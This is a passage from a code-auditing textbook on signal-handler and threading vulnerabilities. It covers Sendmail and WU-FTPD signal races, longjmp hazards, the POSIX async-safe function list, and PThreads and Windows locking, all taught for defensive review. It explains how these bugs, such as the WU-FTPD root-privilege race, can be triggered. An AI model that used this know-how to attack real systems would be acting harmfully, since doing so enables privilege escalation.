    HDR **hdrp; 

    register ENVELOPE *e; 

    bool rsetsize; 

{ 

    ... other declarations ... 

    volatile time_t dbto; 

 

    ... 

 

    dbto = smtpmode ? TimeOuts.to_datablock : 0; 

 

    /* 

    **  Read the message. 

    ** 

    **    This is done using two interleaved state machines. 

    **    The input state machine is looking for things like 

    **    hidden dots; the message state machine is handling 

    **    the larger picture (e.g., header versus body). 

    */ 

 

    if (dbto != 0) 

    { 

        /* handle possible input timeout */ 

        if (setjmp(CtxCollectTimeout) != 0) 

        { 

            if (LogLevel > 2) 

                sm_syslog(LOG_NOTICE, e->e_id, 

                      "timeout waiting for input from %s 

                          during message collect", 

                      CURHOSTNAME); 

            errno = 0; 

            if (smtpmode) 

            { 

                /* 

                **  Override e_message in usrerr() as this 

                **  is the reason for failure that should 

                **  be logged for undelivered recipients. 

                */ 

 

                e->e_message = NULL; 

            } 

            usrerr("451 4.4.1 timeout waiting for input 

                during message collect"); 
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            goto readerr; 

        } 

        CollectTimeout = sm_setevent(dbto, collecttimeout, 

            dbto); 

    } 

 

This block of code essentially sets up a handler for the SIGALRM signal, which is called 

when dbto seconds has elapsed. Sendmail uses an event abstraction instead of just 

using signals, but the call to sm_setevent() instructs Sendmail to call the 

collecttimeout() function when the time dbto indicates has expired. Notice the 

setjmp() call, indicating that you return to this function later. When the corresponding 

longjmp() occurs, you can see that you log some kind of message and then jump to 

readerr, which logs some sender information and then returns to the main Sendmail 

SMTP processing code. Now look at how collecttimeout() works: 

static void 

collecttimeout(timeout) 

    time_t timeout; 

{ 

    int save_errno = errno; 

 

    /* 

    **  NOTE: THIS CAN BE CALLED FROM A SIGNAL HANDLER. DO NOT ADD 

    **    ANYTHING TO THIS ROUTINE UNLESS YOU KNOW WHAT YOU ARE 

    **    DOING. 

    */ 

    if (CollectProgress) 

    { 

        /* reset the timeout */ 

        CollectTimeout = sm_sigsafe_setevent(timeout, 

             collecttimeout, timeout); 

        CollectProgress = false; 

    } 

    else 

    { 

        /* event is done */ 

        CollectTimeout = NULL; 

    } 

 

    /* if no progress was made or problem resetting event, 

       die now */ 

    if (CollectTimeout == NULL) 

    { 

        errno = ETIMEDOUT; 
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        longjmp(CtxCollectTimeout, 1); 

    } 

    errno = save_errno; 

} 

 

In certain cases, the collecttimeout() function can issue a call to longjmp(), which 

will return back into collect(). This alone should be setting off alarm bells in your 

head; the presence of this longjmp() call virtually guarantees that this function isn't 

asynchronous-safe because you already know that the target of the jump winds up 

back in the main SMTP processing code. So if this signal-handling routine is called 

when any non-asynchronous-safe operation is being conducted, and you can reach 

that code again from the SMTP processing code, you have a bug. As it turns out, there 

are a few non-asynchronous-safe operations; the most dangerous is the logging 

function sm_syslog(): 

sm_syslog(level, id, fmt, va_alist) 

    int level; 

    const char *id; 

    const char *fmt; 

    va_dcl 

#endif /* __STDC__ */ 

{ 

    static char *buf = NULL; 

    static size_t bufsize; 

    char *begin, *end; 

    int save_errno; 

    int seq = 1; 

    int idlen; 

    char buf0[MAXLINE]; 

    char *newstring; 

    extern int SyslogPrefixLen; 

    SM_VA_LOCAL_DECL 

 

    ... initialization ... 

 

    if (buf == NULL) 

    { 

        buf = buf0; 

        bufsize = sizeof buf0; 

    } 

 

    ... try to fit log message in buf, else reallocate it 

        on the heap 
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    if (buf == buf0) 

        buf = NULL; 

    errno = save_errno; 

} 

 

This code might need a little explanation because it has been edited to fit the page. 

The sm_syslog() function has a static character pointer buf, which is initialized to 

NULL. On function entry, it is immediately set to point to a stack buffer. If the 

message being logged is too large, a bigger buffer on the heap is allocated to hold the 

log message. In this case, the heap buffer is retained for successive calls to 

sm_syslog(), since buf is static. Otherwise, buf is just set back to NULL and uses a 

stack buffer again next time. So, what would happen if you interrupt this function with 

collecttimeout()? The call to longjmp() in collecttimeout() would invalidate part of 

the stack (remember, longjmp() resets program stack and frame pointers to what 

they were when setjmp() was called), but the static buf variable isn't reset to NULLit 

points to an invalidated region of the stack. Therefore, the next time sm_syslog() is 

called, buf is not NULL (indicating that a heap buffer has been allocated, although in 

this case buf is really pointing to a stack location), so the log message is written to the 

wrong part of the stack! 

When you are attempting to evaluate whether code is asynchronous-safe, you must 

account for the entire state of the programnot just global variables. The state of the 

program can also include static variables, privilege levels, open and closed file 

descriptors, the process signal mask, and even local stack variables. This last item 

might seem counter-intuitive since stack variables only have a local scope inside the 

function that declares them. However, consider the fact that a function might be 

interrupted at any point during execution by a signal, and then a different part of the 

function is returned to through the use of longjmp(). In this scenario, it is possible 

that stack variables used by that function are not in an expected state. 

A security researcher from the FreeBSD project named David Greenman pointed out 

a perfect example of exploiting a state change bug in WU-FTPD v2.4, which is detailed 

in a mail he sent to the bugtraq security mailing list (archived at 

http://seclists.org/bugtraq/1997/Jan/0011.html). Essentially, the program installed 

two signal handlers, one to handle SIGPIPE and one to handle SIGURG. The SIGPIPE 

handler is shown in Listing 13-2. 

Listing 13-2. Signal Race Vulnerability in WU-FTPD 

static void 

lostconn(signo) 

    int signo; 

{ 

 

http://seclists.org/bugtraq/1997/Jan/0011.html
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    if (debug) 

        syslog(LOG_DEBUG, "lost connection"); 

    dologout(-1); 

} 

 

/* 

 * Record logout in wtmp file 

 * and exit with supplied status. 

 */ 

void 

dologout(status) 

    int status; 

{ 

 

    if (logged_in) { 

        (void) seteuid((uid_t)0); 

        logwtmp(ttyline, "", ""); 

#if defined(KERBEROS) 

        if (!notickets && krbtkfile_env) 

            unlink(krbtkfile_env); 

#endif 

    } 

    /* beware of flushing buffers after a SIGPIPE */ 

    _exit(status); 

} 

 

Upon receipt of a SIGPIPE signal, the process sets its effective user ID to 0, logs some 

information, and then exits. Here's the SIGURG handler: 

static void 

myoob(signo) 

    int signo; 

{ 

    char *cp; 

    /* only process if transfer occurring */ 

    if (!transflag) 

        return; 

    cp = tmpline; 

    if (getline(cp, 7, stdin) == NULL) { 

        reply(221, "You could at least say goodbye."); 

        dologout(0); 

    } 

    upper(cp); 
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    if (strcmp(cp, "ABOR\r\n") == 0) { 

        tmpline[0] = '\0'; 

        reply(426, "Transfer aborted. Data connection closed."); 

        reply(226, "Abort successful"); 

        longjmp(urgcatch, 1); 

    } 

    if (strcmp(cp, "STAT\r\n") == 0) { 

        if (file_size != (off_t) -1) 

            reply(213, "Status: %qd of %qd bytes transferred", 

                byte_count, file_size); 

        else 

            reply(213, "Status: %qd bytes transferred", 

                byte_count); 

    } 

} 

... 

void 

send_file_list(whichf) 

    char *whichf; 

{ 

... 

    if (setjmp(urgcatch)) { 

        transflag = 0; 

        goto out; 

    } 

 

Upon receipt of a SIGURG signal (which can be delivered by sending a TCP segment 

with the URG flag set in the TCP header), some data is read. If it's ABOR\r\n, the 

process calls longjmp() to go back to another part of the program, which eventually 

goes back to the main processing loop for receiving FTP commands. It's possible for 

a SIGPIPE to occur while handling the data connection, and then be interrupted after 

it has set the effective user ID to 0 but before it calls exit() by a SIGURG signal. In this 

case, the program returns to the main processing loop with an effective user ID of 0, 

thus allowing users to modify files with root privileges. 

Another problem with signal handlers that use longjmp() to return back into the 

program is a situation where the jump target is invalid. For setjmp() and sigsetjmp() 

to work correctly, the function that calls them must still be on the runtime execution 

stack at any point where longjmp() or siglongjmp() is called from. This is a 

requirement because state restoration performed by longjmp() is achieved by 

restoring the stack pointer and frame pointer to the values they had when setjmp() 

was invoked. So, if the original function has since terminated, the stack pointer and 

frame pointer restored by longjmp() point to undefined data on the stack. Therefore, 

if a longjmp() can be activated at any point after the function that calls setjmp() has 
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returned, the possibility for exploitation exists. Take a look at a modified version of 

the process_message() example used earlier in this section: 

jmp_buf env; 

 

void pipe_handler(int signo) 

{ 

    longjmp(env); 

} 

 

int process_message(int sock) 

{ 

    struct pkt_header header; 

    int err = ERR_NONE; 

 

    if(setjmp(env) != 0) 

    { 

        log("user disconnected!"); 

        err = ERR_DISCONNECTED; 

            goto cleanup; 

    } 

    signal(SIGPIPE, pipe_handler); 

 

    for(;;) 

    { 

 

           if(read_packet_header(sock, &header)) < 0) 

               return ERR_BAD_HEADER; 

 

           switch(header.type) 

           { 

           case USER: 

               parse_username_request(sock); 

               break; 

 

           case PASS: 

               parse_password_request(sock); 

               break; 

 

           case OPEN: 

               parse_openfile_request(sock); 

               break; 

 

           case QUIT 

               parse_quit_request(sock); 
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               goto cleanup; 

 

           default: 

               log("invalid message"); 

               break; 

           } 

    } 

 

cleanup: 

    signal(SIGPIPE, SIG_DFL); 

 

    return err; 

} 

 

In this example, longjmp() is called when a SIGPIPE is received, which you can safely 

assume that users are able to generate in any parsing functions for the different 

commands, as the program might be required to write some data back to the client. 

However, this code has a subtle error: If read_packet_header() returns less than 0, 

the SIGPIPE handler is never removed, and process_message() returns. So, if a SIGPIPE 

is delivered to the application later, pipe_handler() calls longjmp(), which returns to 

the process_message() function. Because process_message() is no longer on the call 

stack, the stack and frame pointers point to stack space used by some other part of 

the program, and memory corruption most likely occurs. 

To summarize, signal handlers with longjmp() calls require special attention when 

auditing code for the following reasons: 

 The signal handler doesn't return, so it's highly unlikely that it will be 

asynchronous-safe unless it exits immediately. 

 It might be possible to find a code path where the function that did the setjmp() 

returns, but the signal handler with the longjmp() isn't removed. 

 The signal mask might have changed, which could be an issue if sigsetjmp() 

and siglongjmp() aren't used. If they are, does restoring the old signal mask 

cause problems as well? 

 Permissions might have changed (as in the WU-FTPD example). 

 Program state might have changed such that the state of variables that are 

valid when setjmp() is originally called but not necessarily when longjmp() is 

called. 

Signal Interruption and Repetition 

The bug presented in WU-FTPD introduces an interesting concept: The signal handler 

itself can also be interrupted, or it can be called more than once. An interesting paper 

by Michael Zalewski, "Delivering Signals for Fun and Profit," describes these two 
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related attacks (available at 

www.bindview.com/Services/Razor/Papers/2001/signals.cfm). 

Sometimes developers will construct signal handlers with the expectation that they 

are only executed once, or not at all. If a signal handler may be invoked more than 

once due to the delivery of multiple signals, the handler may inadvertently perform an 

operation multiple times that is really only safe to perform once. As an example, 

consider the cleanup() function presented in Listing 13-1 at the beginning of this 

section; it can be invoked by the delivery of either a SIGTERM or a SIGINT signal. As 

such, it would be possible to deliver a SIGTERM signal to the process followed rapidly 

by a SIGINT signal, and thus have it execute multiple times, resulting in deallocating 

the user variable more than once. When you're auditing instances of sigaction(), 

note that the combination of the SA_ONESHOT and SA_RESETHAND flags indicate that the 

signal handler is used only once, and then the default action for that signal is 

restored. 

Note 

The signal() function behaves a little differently in Linux than it does on BSD systems; 

when a signal handler is installed with the signal() function in Linux, after the signal 

is triggered once, the default action is restored for that signal. Conversely, BSD 

systems leave the signal handler defined by the user in place until it's explicitly 

removed. So the program behaves a little differently depending on whether it runs on 

Linux or BSD, which might determine whether a signal handler is vulnerable to 

attacks such as those detailed previously. 

 

The second problem that can arise is that a signal handler itself can be interrupted by 

another signal, which might cause problems if the signal handler isn't 

asynchronous-safe. A signal handler can be interrupted only if a signal is delivered to 

the process that's not blocked. Typically, a process blocks signals by using the 

sigprocmask() function (except for SIGKILL and SIGSTOP, which can't be caught or 

blocked). With this function, developers can define a set of signals in the form of a 

sigset_t argument that describes all signals that should be blocked while the handler 

is running. If a process receives a signal while it's blocked, the kernel makes a note of 

the signal and delivers it to the process after it's unblocked. 

In addition, when a signal handler is running, certain signals can be implicitly blocked, 

which might affect whether a signal handler can be interrupted. In a signal handler 

installed with signal(), the signal the handler catches is blocked for the period of time 

the signal handler is running. So, for example, a signal handler installed to handle 

SIGINT can't be interrupted by the delivery of another SIGINT while it's running. This is 

also the case with sigaction(), except when the SA_NODEFER flag is supplied in the 

sa_flags member of the sigaction structure. The sigaction() function also enables 

http://www.bindview.com/Services/Razor/Papers/2001/signals.cfm
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developers to supply additional signals that are blocked for the duration of the 

signal-handling routine by supplying them in the sa_mask field of the sigaction 

structure. 

Therefore, when you're evaluating whether a signal can be interrupted by another 

signal, you need to establish what the process's signal mask is when the handler is 

running. It's quite common for signal handlers to be interruptible by other signals; for 

example, a SIGINT handler might be interrupted by a SIGALRM signal. Again returning 

to our cleanup() example from Listing 13-1, you would be able to interrupt the 

handler that has caught SIGINT by sending a SIGTERM at the appropriate time, thus 

having the cleanup() function interrupt itself because it's the handler for both. 

One nasty problem that tends to catch developers off-guard is the use of library 

functions within a signal handler. In "Delivering Signals for Fun and Profit," Zalewski 

talks about libc functions that are and are not asynchronous-safe. The complete list of 

functions guaranteed to be asynchronous-safe by POSIX standards is shown (taken 

from the OpenBSD signal(3) man page): 

Base Interfaces: 

 

_exit(), access(), alarm(), cfgetispeed(), cfgetospeed(), 

cfsetispeed(), cfsetospeed(), chdir(), chmod(), chown(), 

close(), creat(), dup(), dup2(), execle(), execve(), 

fcntl(), fork(), fpathconf(), fstat(), fsync(), getegid(), 

geteuid(), getgid(), getgroups(), getpgrp(), getpid(), 

getppid(), getuid(), kill(), link(), lseek(), mkdir(), 

mkfifo(), open(), pathconf(), pause(), pipe(), raise(), 

read(), rename(), rmdir(), setgid(), setpgid(), setsid(), 

setuid(), sigaction(), sigaddset(), sigdelset(), 

sigemptyset(), sigfillset(), sigismember(), signal(), 

sigpending(), sigprocmask(), sigsuspend(), sleep(), stat(), 

sysconf(), tcdrain(), tcflow(), tcflush(), tcgetattr(), 

tcgetpgrp(), tcsendbreak(), tcsetattr(), tcsetpgrp(), 

time(), times(), umask(), uname(), unlink(), utime(), 

wait(), waitpid(), write() 

 

Real-time Interfaces: 

 

aio_error(), clock_gettime(), sigpause(), timer_getoverrun(), 

aio_return(), fdatasync(), sigqueue(), timer_gettime(), 

aio_suspend(), sem_post(), sigset(), timer_settime() 

 

ANSI C Interfaces: 

 

strcpy(), strcat(), strncpy(), strncat(), and perhaps 
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some others 

 

Extension Interfaces: 

 

strlcpy(), strlcat(), syslog_r() 

 

Everything else is considered not safe. Notice the lack of some commonly used 

functions in this list: syslog(), malloc(), free(), and the printf() functions. Signal 

handlers that use any functions not listed here are potentially at risk. Exactly what 

level of risk they are exposed to depends on the function they use and its 

implementation specifics; a signal handler that interrupts a malloc() or free() and 

then calls malloc() or free() is at risk of corrupting the heap because it might be in an 

inconsistent state when the signal handler is called. Many of the functions not 

included in the safe list use these heap functions internally. 

Although functions manipulating the system heap might initially appear to be the 

most major concern, it's much less of a problem than it used to be. Many libc 

implementations now contain some sort of concurrency controls over the system 

heap that prevent more than one heap function from being entered at a time. Still, a 

signal handler that uses the heap in an unsafe manner should be flagged, as you can't 

assume the system will handle concurrency correctly, especially when you don't know 

what system the software is running on. 

Signals Scoreboard 

A signal function contains the special property that it can run at any time from 

installation to removal, so you need to give signal handlers special attention. The 

procedure for auditing a signal-handling function involves an extra step on top of the 

standard code-auditing practices you have already learned in this book. Specifically, 

you need to assess whether the signal function is asynchronous-safe. As you have 

learned, asynchronous-safe isn't quite the same as thread safe. In fact, sometimes 

thread APIs aren't asynchronous-safe; for example, in PThreads, the use of a mutex 

data type in a signal handler can cause the program to become deadlocked! When 

examining a signal handler, therefore, you might find it helpful to record some basic 

statistics on your analysis of the function, as shown in Table 13-3. These logs are 

similar to the Synchronization Scoreboards introduced earlier in this chapter. 

Table 13-3. Signal Handler Scoreboard 

Function name Alrmhandler 

Location src/util.c, 

line 140 

Signal SIGALRM 
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Table 13-3. Signal Handler Scoreboard 

Function name Alrmhandler 

Installed src/main.c, 

line 380 

Removed Never 

Unsafe library functions used malloc(), 

free(), 

syslog() 

Notes This function is used to handle a network timeout from 

reading data. By default, it occurs after three minutes of 

inactivity. Interesting if you can interrupt read_data() in 

src/net.c, particularly when the buffer length is updated but 

before the buffer has been reallocated. 

  

 

When you're determining the risk level associated with a signal handler running at a 

certain time, you should user your scoreboard to help identify any issues. First, 

attempt to locate non-reentrant functions called while the signal handler is installed. 

This means finding functions that have static variables or that modify global variables 

or resources without any sort of locking mechanisms. 

Next, you should look for signal handlers using the longjmp() and siglongjmp() 

functions. They cause the signal handler to never return and practically guarantee 

that the signal handler is not asynchronous-safe unless it jumps to a location that 

immediately exits. Also, remember the point from the "Jump Locations" section 

earlier in this chapter: When setjmp() is returned to from a longjmp(), the context of 

the process might be much different than it was when the function containing the 

setjmp() was originally called. Stack variable values might have changed, and global 

variables and shared resources are likely to have changed. However, it's quite easy 

for developers to make assumptions about the state of a variable based on conditions 

when the function was originally called. When you encounter a signal handler that 

uses the *jmp() functions, it's definitely worth noting and attempting to verify 

whether any of the five conditions listed in the "Signal Vulnerabilities" section can 

result in a vulnerability in the program. 

7.9.5 Threads 

Multithreaded programs also suffer from reentrancy problems in much the same way 

as signal handlers and processes dealing with global resources, but to a larger extent. 

Code in a multithreaded application can be interrupted at any point, so it needs to be 

coded carefully to avoid race and deadlock conditions. Bugs in software related to 

thread races are often subtle and hard to debug because the program seems to work 
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fine most of the time, but one out of every hundred tries or so, it behaves differently. 

Often these bugs can turn out to be security problems because the race condition 

might result in memory corruption or other equally undesirable program behavior. In 

multithreaded environments, you might question how much of a security problem 

synchronization issues are. After all, with signals, attackers can try to send well-timed 

signals specifically to trigger a bug, but what about threads? The truth is that 

attackers may or may not be able to influence the program enough to trigger a 

threading error; it depends on what the program does. Usually, however, it's safe to 

assume attackers can trigger it or give the program such a heavy workload that it's 

likely to be triggered. After the error occurs, they can probably cause enough damage 

to bring the program down or have it violate security policies in some way. 

OS Thread APIs contain functionality for developers to create programs that can 

safely execute concurrent threads of execution in the same address space. Both 

Windows and UNIX provide robust threading APIs with similar semantics and 

potential for multithreaded programming issues. As such, both APIs are covered in 

examples throughout this section. Before you examine the examples, the following 

sections introduce you to these APIs. 

Note 

There are multiple threading interfaces for UNIX environments, the primary one being 

PThreads (POSIX threads), which is what's used in this section. 

 

 

PThreads API 

The PThreads API enables developers to design thread-safe code that avoids race 

conditions by defining two data types that can be used as synchronization objects: 

mutexes and condition variables. 

Mutexes in PThreads 

A mutex in PThreads is similar in principle to the mutexes in Windows, except it isn't 

globally visible. It's used to ensure that a shared resource is being operated on by 

only one thread at a time. 

Note 

Actually, a PThreads mutex is more like a critical section provided by Windows 

(covered in "Windows API" later in this chapter). 
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The PThreads API provides a mutex data type (pthread_mutex_t) for controlling 

access to code that isn't allowed to be interrupted by other threads, commonly 

referred to as "critical sections." The pthread_mutex_t type is manipulated with the 

functions described in the following paragraphs. 

The pthread_mutex_init() function initializes a mutex data type: 

int pthread_mutex_init(pthread_mutex_t *mutex, const 

pthread_mutex_attr_t *attr) 

 

The attr parameter specifies attributes that can modify the mutex's behavior. These 

attributes aren't covered in this chapter because they aren't relevant to the issues 

discussed. This function must be called before a mutex is used. 

Note 

Instead of calling the pthread_mutex_init() function, a developer can just initialize 

the mutex with default values manually, typically with the constant 

PTHREAD_MUTEX_INITIALIZER. A variation of PThreads for Linux, called LinuxThreads, 

has two other initializers: PTHREAD_RECURSIVE_INTIALIZER_NP and 

PTHREAD_ERRORCHECK_MUTEX_NP, which initialize the mutex with different attributes. 

 

The following function is used to lock the mutex: 

int pthread_mutex_lock(pthread_mutex_t *mutex) 

 

If the mutex is already locked, the thread calling this function goes to sleep until the 

lock is released. 

The pthread_mutex_trylock() function is identical to pthread_mutex_lock(), except it 

returns immediately to the caller with an error if the mutex is already locked: 

int pthread_mutex_trylock(pthread_mutex_t *mutex) 

 

The following function unlocks a mutex that was locked with pthread_mutex_lock() or 

pthread_mutex_unlock(): 

int pthread_mutex_unlock(pthread_mutex_t *mutex) 
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The following function destroys a mutex; it's called after the program no longer needs 

the mutex: 

int pthread_mutex_destroy(pthread_mutex_t *mutex) 

 

 

Condition Variables 

PThreads provides another synchronization object, the condition variable 

(pthread_cond_t), which is used to indicate to waiting threads that a certain condition 

has been met. In this respect, condition variables are similar to a localized version of 

the Windows events (localized because condition variables aren't globally accessible). 

The functions for manipulating a condition variable are described in the following 

paragraphs. 

The pthread_cond_init() function is used for initializing a condition variable before 

use: 

int pthread_cond_init(pthread_cond_t *cond, pthread_condattr_t *attr); 

 

The attr parameter supplies optional parameters that can modify the condition 

variable's behavior. They aren't relevant to this discussion, so for more information, 

consult the PThreads documentation. 

Note 

Like pthread_mutex_init(), a developer can choose to initialize a condition variable 

with default attributes instead of calling this function, typically with the 

PTHREAD_COND_INITIALIZER constant. 

 

The following function is used to wake up a thread waiting on a condition variable: 

int pthread_cond_signal(pthread_cond_t *cond) 

 

If multiple variables are waiting on the condition, only one of the threads is awakened, 

which is similar to how auto-reset events function in Windows. 

The pthread_cond_broadcast() function acts like pthread_cond_signal(), except it 

wakes up all threads waiting on a condition variable, not just one: 

int pthread_cond_broadcast(pthread_cond_t *cond) 
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This behavior is similar to how manual-reset events function in Windows. 

The pthread_cond_wait() function is used to wait on a condition variable: 

int pthread_cond_wait(pthread_cond_t *cond, pthread_mutex_t *mutex) 

 

The mutex specified by the second argument is atomically unlocked for the duration 

of time the thread is blocking during the wait on the condition variable. After the 

condition variable is signaled, this function relocks the mutex before returning. 

The following function basically the same as pthread_cond_wait(), except it waits only 

the amount of time indicated by the abstime parameter: 

[View full width](? [????.]) 

int pthread_cond_timedwait(pthread_cond_t *cond, pthread_mutex_t *mutex, 

const struct 

 timespec *abstime) 

 

The pthread_cond_destroy() function simply destroys the specified condition variable: 

int pthread_cond_destroy(pthread_cond_t *cond) 

 

 

Windows API 

The Windows API for thread synchronization is a little more complicated than 

PThreads. The Windows API provides a broad range of synchronization objects that a 

multithreaded process can use to ensure that shared resources are accessed safely. 

You've already seen most of these objects in the "Windows IPC Synchronization 

Objects" section earlier in this chapter. However, there are a few thread-specific 

synchronization primitives, the most important of which being critical section, which 

will be discussed here. 

Note 

Even though the IPC objects were introduced as interprocess synchronization objects, 

they can be used to synchronize threads, so the previous material on using those 

objects also applies to a single multithreaded process. 

 

 

Critical Sections 
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A critical section (declared in code as CRITICAL_SECTION data type) can be used to 

provide mutually exclusive access to a shared resource by acting as a locking 

mechanism in the same way a mutex object does. Like a mutex, a critical section has 

a binary statelocked or unlockedand can be locked by only one thread at a time. The 

key differences between a mutex object and a critical section is that a critical section 

can be accessed only by threads of a single process; they are never globally visible or 

accessible. This is because a critical section isn't a true Windows object; it's simply a 

data structure that creates a Windows synchronization primitive if necessary. Being a 

local data structure makes it faster than a mutex and explains why it can be used only 

between threads in the same process. Therefore, critical sections don't use the wait 

functions discussed earlier. Instead, the functions described in the following 

paragraphs are used for manipulating a critical section. 

The following function populates the CRITICAL_SECTION data structure; it must be 

called before any use of the CRITICAL_SECTION: 

void InitializeCriticalSection( 

        LPCRITICAL_SECTION lpCriticalSection) 

 

The following function initializes a CRITICAL_SECTION as well as setting the spin count: 

BOOL InitializeCriticalSectionAndSpinCount( 

        LPCRITICAL_SECTION lpCriticalSection, 

        DWORD dwSpinCount) 

 

The spin count affects performance but not synchronization, so it's irrelevant to this 

discussion. 

The following function acquires the lock for a CRITICAL_SECTION data structure: 

void EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) 

 

If the lock is owned by another thread, calling this function causes this thread to block 

until the lock is available. This means the owning thread doesn't block on a call to this 

function. However, every call to EnterCriticalSection() must be paired with a call to 

LeaveCriticalSection(); otherwise, the critical section remains locked and deadlock 

can occur. This function is equivalent to the pthread_mutex_lock() function from the 

PThreads API. 

The following function attempts to obtain the lock for the specified CRITICAL_SECTION 

data structure: 

BOOL TryEnterCriticalSection( 
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        LPCRITICAL_SECTION lpCriticalSection) 

 

If it's unlocked, this function locks it and returns successfully; otherwise, it returns 

FALSE. Calling this function doesn't cause the calling thread to block, as 

EnterCriticalSection() does. Like EnterCriticalSection(), every successful 

acquiring of a critical section must have a corresponding call to 

LeaveCriticalSection(); otherwise, deadlock can occur. This function is similar to the 

pthread_mutex_trylock() function in the PThreads API. 

The LeaveCriticalSection() function unlocks the given CRITICAL_SECTION data 

structure: 

void LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) 

 

Any other threads waiting on the critical section are awakened so that one of them 

can take ownership of it. 

The following function deletes a critical section and releases any associated memory 

and kernel objects: 

void DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) 

 

 

Threading Vulnerabilities 

Now that you're familiar with the threading models available in UNIX and Windows, 

you can begin to look at practical examples of the synchronization problems 

discussed at the beginning of this chapter. Basically, threading issues are caused by 

incorrect use of synchronization objects. With race conditions, it's usually because 

some code that operates on a shared resource isn't correctly synchronized. For 

deadlock and starvation issues, it's usually because locking devices are used 

improperly. 

Note that you can approach auditing threading vulnerabilities in a similar fashion to 

auditing IPC synchronization objects. That is, you can construct a scoreboard noting 

the use of the locking mechanisms and keep notes of potentially dangerous 

situations. 

Race Conditions 

As stated previously, a race condition occurs when the successful outcome of an 

operation depends on whether the threads are scheduled for running in a certain 

order. Neglecting to use mutexes or semaphores in appropriate places causes race 
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conditions because you can't guarantee a thread won't be interrupted in the middle of 

modifying or accessing a shared resource. 

Auditing code to find potential vulnerabilities of this nature is a three-step process: 

1.  Identify shared resources that are acted on by multiple threads. 

2.  Determine whether the appropriate locking mechanism has been selected. 

3.  Examine the code that modifies this resource to see whether appropriate locking 

mechanisms have been neglected or misused. 

Although this process sounds straightforward, it's often trickier than it seems because 

of the complexity of multithreaded programming. For this reason, the following 

sections explain in more detail how to perform each step in a systematic fashion. 

Identify Shared Resources 

This step is probably the easiest. Any thread synchronization objects are used for one 

primary reason: threads must access resources atomically. To identify the shared 

resources being operated on, you simply need to read the code and note accesses to 

global variables and any objects that aren't local to the thread or process, such as a 

HANDLE to a global object. Usually, these accesses stand out because the point of 

worker threads is to operate on a resource. For example, a multithreaded server 

process might consist of one thread accepting connections from remote nodes and 

adding received requests to a queue. Then another set of threads takes objects from 

that queue and processes them on behalf of the client. In this case, the shared 

resource is obviously the queue where requests are being added to and taken from. 

Ensure That Appropriate Locking Mechanisms Are Used 

There's no point in using a synchronization object if it's not appropriate for the shared 

resource that needs to be protected. Therefore, you must evaluate the developers' 

choice of synchronization primitive so that you can determine whether it meets the 

intended requirements. Here are some common reasons for providing 

synchronization for a resource: 

 A resource can be operated on by only one thread at a time, no matter what 

it's doing. Generally, a mutex or critical section is necessary. 

 A resource can be read from by multiple threads. In this case, a semaphore 

might be most appropriate. 

 A queue resource has multiple threads adding to it and removing elements 

from it. In this case, a mutex or critical section seems most appropriate 
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because every thread is actually writing to the queue by unlinking elements 

from it or linking elements to it. 

Obviously, these three reasons are simple guidelines and aren't true for all situations. 

For instance, this list doesn't consider the need for signaling consumer threads that 

data is available. Because these requirements can vary so much, you need to be 

careful to evaluate the locking mechanisms developers select. This evaluation 

requires understanding the purpose the locking mechanism is supposed to serve and 

attempting to locate situations in which the mechanism might not behave as 

intended. 

Examine Accesses to the Object 

The whole point of locking mechanisms is to allow an object to be modified in an 

atomic fashion. A race condition can occur when locking mechanisms aren't used in 

correctly when accessing shared resources or aren't used at all. The most obvious 

race conditions happen when no locking objects are used, as shown in the following 

code: 

struct element *queue; 

int fd; 

 

void *job_task(void *arg) 

{ 

    struct element *elem; 

    struct timespec ts; 

 

    ts.tv_sec = 1; 

    ts.tv_nsec = 0; 

 

    for(;;) 

    { 

        if(queue == NULL) 

        { 

            nanosleep(&ts, NULL); 

            continue; 

        } 

 

        elem = queue; 

        queue = queue->next; 

 

        .. process element .. 

    } 

 

    return NULL; 
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} 

 

void *network_task(void *arg) 

{ 

    struct element *elem, *tmp; 

    struct request *req; 

 

    for(;;) 

    { 

        req = read_request(fd); 

 

        if(req == NULL)  // bad request 

            continue; 

 

        elem = request_to_job_element(req); 

 

        free(req); 

 

        if(elem == NULL) 

            continue; 

 

        if(queue == NULL) 

            queue = elem; 

        else 

        { 

            for(tmp = queue; tmp->next; tmp = tmp->next) 

                ; 

            tmp->next = elem; 

        } 

    } 

    return NULL; 

} 

 

Imagine you have a program containing multiple threads: one thread running the 

network_task() function and multiple threads running the job_task() function. 

Because there are no locks around any code that acts on the queue variable, it's 

possible that a thread can operate on queue when it's in an inconsistent state because 

the previously running thread was interrupted while operating on queue. Furthermore, 

when the previous thread commences running again, it might have outdated data in 

local variables, such as pointers to elements that have been dequeued and processed 

by another thread already. In reality, this kind of blatant failure to use locking 

mechanisms is quite rare. You'll probably encounter it only in code that was 

previously developed for a single-threaded application and migrated to a 

multithreaded application without careful review of all the components. You might 
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also run into this problem when code is imported from a library that wasn't developed 

for a multithreaded environment, such as a single-threaded Java library that's later 

incorporated into a multithreaded Java servlet. 

Sometimes locks are instantiated correctly but used incorrectly, which can also result 

in race conditions. Here's a modified version of the previous example: 

struct element *queue; 

pthread_mutex_t queue_lock; 

pthread_cond_t queue_cond; 

int fd; 

 

void *job_task(void *arg) 

{ 

    struct element *elem; 

 

    pthread_mutex_init(&queue_lock, NULL); 

 

    for(;;) 

    { 

        pthread_mutex_lock(&queue_lock); 

 

        if(queue == NULL) 

                pthread_cond_wait(&queue_cond, &queue_lock); 

        elem = queue; 

 

        queue = queue->next; 

 

        pthread_mutex_unlock(&queue_lock); 

 

        .. process element .. 

    } 

 

    return NULL; 

} 

 

void *network_task(void *arg) 

{ 

    struct element *elem, *tmp; 

    struct request *req; 

 

    pthread_mutex_init(&queue_lock, NULL); 

 

    for(;;) 

    { 
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        req = read_request(fd); 

 

        if(req == NULL)  // bad request 

                continue; 

 

        elem = request_to_job_element(req); 

 

         free(req); 

 

        if(elem == NULL) 

            continue; 

 

        pthread_mutex_lock(&queue_lock); 

 

        if(queue == NULL) 

        { 

            queue = elem; 

            pthread_cond_broadcast(&queue_cond); 

        } 

         else 

         { 

            for(tmp = queue; tmp->next; tmp = tmp->next) 

                      ; 

            tmp->next = elem; 

         } 

 

        pthread_mutex_unlock(&queue_lock); 

    } 

} 

 

This example uses more locking mechanisms to ensure that the queue is accessed by 

only one thread, but there's still a problem: Each thread reinitializes queue_lock by 

calling pthread_mutex_init(). In effect, this allows multiple threads to obtain multiple 

locks, so it's not guaranteed that each thread can operate on the queue in an atomic 

fashion. 

